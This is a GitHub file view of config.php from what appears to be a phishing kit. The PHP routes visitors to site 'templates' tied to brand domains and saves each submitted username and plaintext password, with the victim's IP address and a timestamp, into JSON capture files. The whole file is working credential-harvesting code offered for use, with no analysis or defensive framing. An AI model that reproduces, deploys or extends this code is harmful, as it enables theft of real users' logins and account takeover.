-
Notifications
You must be signed in to change notification settings - Fork 0
Expand file tree
/
Copy pathconfig.php
More file actions
148 lines (125 loc) · 4.51 KB
/
Copy pathconfig.php
File metadata and controls
148 lines (125 loc) · 4.51 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
<?php
header("X-Frame-Options: DENY");
header("X-Content-Type-Options: nosniff");
header("Referrer-Policy: no-referrer");
function sanitize($data) {
return htmlspecialchars(trim($data), ENT_QUOTES, 'UTF-8');
}
function getClientIP() {
$ip = $_SERVER['REMOTE_ADDR'] ?? '127.0.0.1';
if (!empty($_SERVER['HTTP_X_FORWARDED_FOR'])) {
$ip = $_SERVER['HTTP_X_FORWARDED_FOR'];
}
return sanitize($ip);
}
function saveCapture($record) {
$captureDir = __DIR__ . '/capture';
if (!is_dir($captureDir)) {
mkdir($captureDir, 0755, true);
}
$template = $record['template'] ?? 'unknown';
$file = $captureDir . '/' . preg_replace('/[^a-zA-Z0-9_-]/', '', $template) . '.json';
$data = [];
if (file_exists($file)) {
$content = file_get_contents($file);
$decoded = json_decode($content, true);
if (is_array($decoded)) {
$data = $decoded;
}
}
foreach ($data as $existing) {
if (($existing['username'] ?? '') === ($record['username'] ?? '') &&
($existing['password'] ?? '') === ($record['password'] ?? '') &&
($existing['template'] ?? '') === $template) {
return;
}
}
$newRecord = [
'timestamp' => date('Y-m-d H:i:s'),
'template' => $template,
'ip_address' => $record['ip_address'] ?? 'unknown',
'username' => $record['username'] ?? '',
'password' => $record['password'] ?? ''
];
$data[] = $newRecord;
file_put_contents($file, json_encode($data, JSON_PRETTY_PRINT));
}
function loadSiteRoutes() {
static $routes = null;
if ($routes !== null) {
return $routes;
}
$routes = [];
$templatesDir = __DIR__ . '/templates';
// Search for site.json in both direct subdirectories and nested subdirectories
$pattern1 = $templatesDir . '/*/site.json';
$pattern2 = $templatesDir . '/*/*/site.json';
foreach (array_merge(glob($pattern1) ?: [], glob($pattern2) ?: []) as $jsonFile) {
$data = json_decode(file_get_contents($jsonFile), true);
if (!is_array($data) || empty($data['allocated_url']) || empty($data['slug'])) {
continue;
}
$routes[trim($data['allocated_url'], '/')] = [
'slug' => $data['slug'],
'entry_page' => $data['entry_page'] ?? 'index.php',
'dir' => dirname($jsonFile),
'name' => $data['name'] ?? $data['slug'],
'domain' => $data['domain'] ?? ($data['slug'] . '.com'),
];
}
return $routes;
}
function getSiteConfig($slug) {
$cleanSlug = preg_replace('/[^a-z0-9_-]/', '', $slug);
// Try direct path first
$file = __DIR__ . '/templates/' . $cleanSlug . '/site.json';
if (is_file($file)) {
$data = json_decode(file_get_contents($file), true);
return is_array($data) ? $data : null;
}
// Try nested paths
$nestedPattern = __DIR__ . '/templates/*/' . $cleanSlug . '/site.json';
$matches = glob($nestedPattern);
if (!empty($matches) && is_file($matches[0])) {
$data = json_decode(file_get_contents($matches[0]), true);
return is_array($data) ? $data : null;
}
return null;
}
function serveTemplateFile($templateDir, $relativePath) {
$relativePath = str_replace(['..', '\\'], '', $relativePath);
$relativePath = ltrim($relativePath, '/');
$candidate = $templateDir . '/' . $relativePath;
$file = realpath($candidate);
$base = realpath($templateDir);
if ($file === false || $base === false || strncmp($file, $base, strlen($base)) !== 0 || !is_file($file)) {
http_response_code(404);
echo 'Not Found';
return;
}
$ext = strtolower(pathinfo($file, PATHINFO_EXTENSION));
if ($ext === 'php') {
chdir(dirname($file));
require $file;
return;
}
$types = [
'html' => 'text/html; charset=UTF-8',
'css' => 'text/css; charset=UTF-8',
'js' => 'application/javascript; charset=UTF-8',
'json' => 'application/json; charset=UTF-8',
'svg' => 'image/svg+xml',
'png' => 'image/png',
'jpg' => 'image/jpeg',
'jpeg' => 'image/jpeg',
'gif' => 'image/gif',
'ico' => 'image/x-icon',
'webp' => 'image/webp',
'woff' => 'font/woff',
'woff2'=> 'font/woff2',
'ttf' => 'font/ttf',
'map' => 'application/json',
];
header('Content-Type: ' . ($types[$ext] ?? 'application/octet-stream'));
readfile($file);
}